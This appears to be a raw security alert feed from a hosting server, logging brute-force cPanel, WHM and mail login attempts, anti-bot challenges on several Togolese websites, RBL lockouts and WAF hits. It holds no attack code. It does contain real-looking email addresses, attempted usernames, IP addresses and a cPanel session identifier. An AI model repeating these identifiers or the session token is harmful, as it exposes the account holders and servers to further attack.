description:
212.102.39.49 - - [16/Jun/2026:01:08:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.214.124.45
country_id: 6252001
description:
[2026-06-16 01:09:15 +0000] info [cpaneld] 47.214.124.45 - Marshall_Alexander "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Marshall_Alexander (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.128.235.236
country_id: 3865483
description:
[2026-06-16 01:09:57 +0000] info [whostmgrd] 186.128.235.236 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 177.71.25.120
country_id: 3469034
description:
[2026-06-16 01:09:58 +0000] info [whostmgrd] 177.71.25.120 - Marshall_Alexander "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.105.207.73
country_id: 2589581
description:
[2026-06-16 01:11:02 +0000] info [cpaneld] 41.105.207.73 - Marshall_Alexander "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Marshall_Alexander (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 112.101.143.111
country_id: 1814991
description:
[2026-06-16 01:11:07 +0000] info [whostmgrd] 112.101.143.111 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 9.154.231.13
country_id: 1643084
description:
[2026-06-16 01:11:39 +0000] info [whostmgrd] 9.154.231.13 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.31.121.49
country_id: 3686110
description:
[2026-06-16 01:12:54 +0000] info [whostmgrd] 186.31.121.49 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.213.83.245
country_id: 1643084
description:
[2026-06-16 01:14:16 +0000] info [cpaneld] 185.213.83.245 - togoinrdceh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.107.234.63
country_id: 2017370
description:
[2026-06-16 01:14:45 +0000] info [cpaneld] 176.107.234.63 - Marshall_Alexander "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Marshall_Alexander (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 141.98.103.251
country_id: 6290252
description:
141.98.103.251 - - [16/Jun/2026:01:15:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9870281&pdata=https%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252Facf2d8c858075b0500387330fbe3e107%252Fea425e05eea2788cc063ebda30164563%252Findex.php%253Fcmd%253Dnewupld&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781572542 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/acf2d8c858075b0500387330fbe3e107/ea425e05eea2788cc063ebda30164563/index.php?cmd=newupld" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:141.98.103.251


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.20.225.84
country_id: 2921044
description:
Jun 16 01:17:08 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.20.225.84 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.77.45
country_id: 3175395
description:
158.173.77.45 - - [16/Jun/2026:01:17:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7040707&pdata=https%253A%252F%252Fmatosshop.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781572625 HTTP/2.0" 302 0 matosshop.tg "https://matosshop.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.77.45


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.20.225.84
country_id: 2921044
description:
2026-06-16 01:17:10 dovecot_plain authenticator failed for H=([195.20.225.84]) [195.20.225.84]:54911: 535 Incorrect authentication data (set_id=infos@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.147.41
country_id: 1819730
description:
Jun 16 01:18:05 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.147.41 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 35.209.76.44
country_id: 6252001
domain: ucao-uut.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/100.0.4896.127 Safari/537.36||RSV:8.17||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 39.194.1.167
country_id: 1643084
description:
[2026-06-16 01:17:44 +0000] info [cpaneld] 39.194.1.167 - Marshall_Alexander "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Marshall_Alexander (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.142.175.184
country_id: 3686110
description:
[2026-06-16 01:18:10 +0000] info [cpaneld] 181.142.175.184 - Marshall_Alexander "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Marshall_Alexander (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 189.179.92.79
country_id: 3996063
description:
[2026-06-16 01:18:59 +0000] info [webmaild] 189.179.92.79 - moise.attissovi@mesyscom.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:01:18:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7116748&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781572703 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:01:18:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12817564&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781572708 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.127.26.134
country_id: 2542007
description:
[2026-06-16 01:18:31 +0000] info [cpaneld] 196.127.26.134 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.5.89.178
country_id: 6252001
description:
[2026-06-16 01:18:35 +0000] info [cpaneld] 104.5.89.178 - inger "GET /login/?login_only=1&user=inger&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user inger (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.163.182.157
country_id: 1282988
description:
[2026-06-16 01:18:39 +0000] info [cpaneld] 103.163.182.157 - ingertg "GET /login/?login_only=1&user=ingertg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ingertg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.84.20.229
country_id: 3686110
description:
[2026-06-16 01:18:54 +0000] info [cpaneld] 186.84.20.229 - in "GET /login/?login_only=1&user=in&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user in (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 187.108.228.70
country_id: 3469034
description:
187.108.228.70 - - [16/Jun/2026:01:22:07 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6329246&pdata=https%253A%252F%252F24heureinfo.tg%252Feconomie%252Ftogo-inauguration-du-centre-regional-de-mecanisation-agricole-de-kpalime-un-levier-pour-moderniser-lagriculture%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781572925 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/economie/togo-inauguration-du-centre-regional-de-mecanisation-agricole-de-kpalime-un-levier-pour-moderniser-lagriculture/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.4162.1195 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:187.108.228.70


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 175.100.59.102
country_id: 1831722
description:
[2026-06-16 01:24:07 +0000] info [cpaneld] 175.100.59.102 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.120.247.65
country_id: 3865483
description:
[2026-06-16 01:24:16 +0000] info [cpaneld] 190.120.247.65 - chus "GET /login/?login_only=1&user=chus&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user chus (has_cpuser_file failed)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:01:24:33 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:01:24:33 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 74.244.5.220
country_id: 3996063
description:
[2026-06-16 01:27:02 +0000] info [cpaneld] 74.244.5.220 - atms "GET /login/?login_only=1&user=atms&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user atms (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.176.203.205
country_id: 3469034
description:
[2026-06-16 01:27:07 +0000] info [cpaneld] 45.176.203.205 - atmstg "GET /login/?login_only=1&user=atmstg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user atmstg (has_cpuser_file failed)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 3.101.226.181
country_id: 6252001
description:
IM360 WAF: Bad file extension||RSV:8.17||T:APACHE||MVN:REQUEST_FILENAME||MV:/nice ports,/Trinity.txt.bak||User:root||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.148.45.83
country_id: 130758
description:
Jun 16 01:30:47 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.148.45.83 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.148.45.83
country_id: 130758
description:
2026-06-16 01:30:49 dovecot_plain authenticator failed for H=(dgdn-togo.tg) [46.148.45.83]:51953: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:01:32:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9856105&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781573560 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:01:32:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6462054&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781573568 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.52.126.211
country_id: 1562822
description:
2026-06-16 01:33:57 dovecot_plain authenticator failed for H=(9wb6tjdc5v9blai3hnj45) [1.52.126.211]:47049: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.23
country_id: 3469034
description:
Jun 16 01:33:22 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.23 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.52.126.211
country_id: 1562822
description:
Jun 16 01:33:55 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.52.126.211 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.71.187.124
country_id: 6252001
description:
54.71.187.124 - - [16/Jun/2026:01:34:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10471789&pdata=https%253A%252F%252Fcfmi.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781573681 HTTP/2.0" 302 0 cfmi.tg "https://cfmi.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.71.187.124


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.64
country_id: 2635167
description:
[2026-06-16 01:38:58 +0000] info [cpaneld] 5.230.133.64 NEW wcnyaruu:YMw06rH7Uxa_UZEH address=5.230.133.64,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:01:41:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:01:41:30 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 59.153.220.92
country_id: 1562822
description:
[2026-06-16 01:46:10 +0000] info [cpaneld] 59.153.220.92 - sncom "GET /login/?login_only=1&user=sncom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sncom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 84.54.70.176
country_id: 1512440
description:
[2026-06-16 01:46:14 +0000] info [cpaneld] 84.54.70.176 - sncomtg "GET /login/?login_only=1&user=sncomtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user sncomtg (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:01:47:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6908313&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781574424 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [16/Jun/2026:01:47:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10120603&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781574428 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.17.125.145
country_id: 690791
description:
Jun 16 01:49:01 ns5 auth[4030142]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.17.125.145 has been locked due to Imunify RBL


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:01:53:11 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.49
country_id: 3077311
description:
212.102.39.49 - - [16/Jun/2026:01:53:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.49


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 23.109.176.151
country_id: 2750405
description:
23.109.176.151 - - [16/Jun/2026:01:53:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12949447&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Fkampatibe%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781574800 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/kampatibe/" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.3897.1817 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:23.109.176.151


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.54.153.155
country_id: 102358
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/wp-content/uploads/2014/08/TARIFS_du-26-11-10.pdf HTTP/1.1||RSV:8.17||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 84.74.192.35
country_id: 2658434
description:
84.74.192.35 - - [16/Jun/2026:01:54:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10261397&pdata=https%253A%252F%252Fmediatopnews.tg%252F%253Fp%253D14433&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781574839 HTTP/2.0" 302 0 mediatopnews.tg "https://mediatopnews.tg/?p=14433" "Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.8471.1509 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:84.74.192.35


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.100.121.69
country_id: 3658394
description:
[2026-06-16 01:55:22 +0000] info [cpaneld] 157.100.121.69 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.216.174.152
country_id: 2017370
description:
[2026-06-16 01:55:25 +0000] info [cpaneld] 178.216.174.152 - alloacio "GET /login/?login_only=1&user=alloacio&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user alloacio (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 201.180.42.57
country_id: 3865483
description:
[2026-06-16 01:55:34 +0000] info [cpaneld] 201.180.42.57 - alloac "GET /login/?login_only=1&user=alloac&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user alloac (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 176.166.71.162
country_id: 3017382
description:
[2026-06-16 01:55:29 +0000] info [cpaneld] 176.166.71.162 - alloaci "GET /login/?login_only=1&user=alloaci&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user alloaci (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.38.10.107
country_id: 1512440
description:
[2026-06-16 01:55:51 +0000] info [cpaneld] 92.38.10.107 - al "GET /login/?login_only=1&user=al&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user al (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.153.105.88
country_id: 1269750
description:
[2026-06-16 01:58:21 +0000] info [cpaneld] 103.153.105.88 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.129.168.150
country_id: 285570
description:
[2026-06-16 01:58:26 +0000] info [cpaneld] 94.129.168.150 - davetechno "GET /login/?login_only=1&user=davetechno&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user davetechno (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 186.224.78.157
country_id: 3469034
description:
[2026-06-16 01:58:45 +0000] info [cpaneld] 186.224.78.157 - davete "GET /login/?login_only=1&user=davete&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user davete (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.174.230.58
country_id: 3686110
description:
[2026-06-16 01:58:31 +0000] info [cpaneld] 181.174.230.58 - davetechnotg "GET /login/?login_only=1&user=davetechnotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user davetechnotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.181.110.235
country_id: 99237
description:
[2026-06-16 01:58:41 +0000] info [cpaneld] 185.181.110.235 - davetec "GET /login/?login_only=1&user=davetec&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user davetec (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 200.125.229.189
country_id: 3658394
description:
[2026-06-16 01:58:50 +0000] info [cpaneld] 200.125.229.189 - dave "GET /login/?login_only=1&user=dave&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dave (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 52.34.76.65
country_id: 6252001
description:
52.34.76.65 - - [16/Jun/2026:02:00:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7194213&pdata=http%253A%252F%252Flvdt.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781575247 HTTP/1.1" 302 0 lvdt.tg "http://lvdt.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:52.34.76.65


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.49
